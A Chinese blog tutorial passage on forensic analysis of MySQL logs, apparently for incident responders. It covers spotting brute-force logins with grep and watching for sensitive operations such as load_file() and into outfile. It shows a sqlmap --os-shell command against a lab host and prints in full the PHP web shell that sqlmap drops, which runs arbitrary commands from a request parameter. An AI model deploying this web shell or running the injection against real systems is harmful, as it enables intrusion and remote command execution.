当前第2页 返回上一页
Navicat for MySQL登录:
1 2 3 4 5 | 190601 22:14:07 106 Connectroot@192.168.204.1 on
106 QuerySET NAMES utf8
106 QuerySHOW VARIABLES LIKE 'lower_case_%'
106 QuerySHOW VARIABLES LIKE 'profiling'
106 QuerySHOW DATABASES
|
命令行登录:
1 2 3 | 190601 22:17:25 111 Connectroot@localhost on
111 Queryselect @@version_comment limit 1
190601 22:17:56 111 Quit
|
这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判断出用户是通过连接数据库的方式。
另外,不管你是爆破工具、Navicat for MySQL、还是命令行,登录失败都是一样的记录。
登录失败的记录:
1 2 | 102 Connect mysql@192.168.204.1 on
102 Connect Access denied for user 'mysql' @ '192.168.204.1' (using password : YES)
|
利用shell命令进行简单的分析:
有哪些IP在爆破?
1 2 | grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
27 192.168.204.1
|
爆破用户名字典都有哪些?
1 2 | grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -
nr 13 mysql 12 root 1 root 1 mysql
|
在日志分析中,特别需要注意一些敏感的操作行为,比如删表、备库,读写文件等。
关键词:drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。
敏感数据库表:SELECT * from mysql.user、SELECT * from mysql.func
三、SQL注入入侵痕迹
在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的--os-shell参数取得shell,如操作不慎,可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:
1、构造一个SQL注入点,开启Burp监听8080端口
1 | sqlmap.py -u http://192.168.204.164/sql.php?id=1
|
HTTP通讯过程如下:

创建了一个临时文件tmpbwyov.php,通过访问这个木马执行系统命令,并返回到页面展示。
1 2 | tmpbwyov.php:
<?php $c = $_REQUEST [ "cmd" ];@set_time_limit(0);@ignore_user_abort(1);@ ini_set ( 'max_execution_time' ,0); $z =@ ini_get ( 'disable_functions' ); if (! empty ( $z )){ $z =preg_replace( '/[, ]+/' , ',' , $z ); $z = explode ( ',' , $z ); $z = array_map ( 'trim' , $z );} else { $z = array ();} $c = $c . " 2>&1n" ; function f( $n ){ global $z ; return is_callable ( $n ) and !in_array( $n , $z );} if (f( 'system' )){ob_start();system( $c ); $w =ob_get_contents();ob_end_clean();} elseif (f( 'proc_open' )){ $y =proc_open( $c , array ( array (pipe,r), array (pipe,w), array (pipe,w)), $t ); $w =NULL; while (! feof ( $t [1])){ $w .= fread ( $t [1],512);}@proc_close( $y );} elseif (f( 'shell_exec' )){ $w =shell_exec( $c );} elseif (f( 'passthru' )){ob_start(); passthru ( $c ); $w =ob_get_contents();ob_end_clean();} elseif (f( 'popen' )){ $x =popen( $c ,r); $w =NULL; if ( is_resource ( $x )){ while (! feof ( $x )){ $w .= fread ( $x ,512);}}@pclose( $x );} elseif (f( 'exec' )){ $w = array (); exec ( $c , $w ); $w =join( chr (10), $w ). chr (10);} else { $w =0;} print "<pre>" . $w . "</pre>" ;?>`
|
创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。
通过查看网站目录中最近新建的可疑文件,可以判断是否发生过sql注入漏洞攻击事件。
检查方法:
1、检查网站目录下,是否存在一些木马文件:

2、检查是否有UDF提权、MOF提权痕迹
检查目录是否有异常文件
1 | mysqllibpluginc:/windows/system32/wbem/mof/
|
检查函数是否删除
3、结合web日志分析。
推荐教程:web服务器安全
以上就是如何对数据库日志进行分析的详细内容,更多文章请关注木庄网络博客!
返回前面的内容
相关阅读 >>
如何设置apache每天保存日志
centos7下创建数据库和用户
linux中mysql日志在哪
linux查看数据库安装在哪
数据库不适合docker及容器化的原因
linux查看日志出现中文乱码
linux中如何查看数据库
centos系统的日志文件在哪
tomcat实现定时删除日志
如何查看docker日志
更多相关阅读请进入《数据库》频道 >>
转载请注明出处:木庄网络博客 » 如何对数据库日志进行分析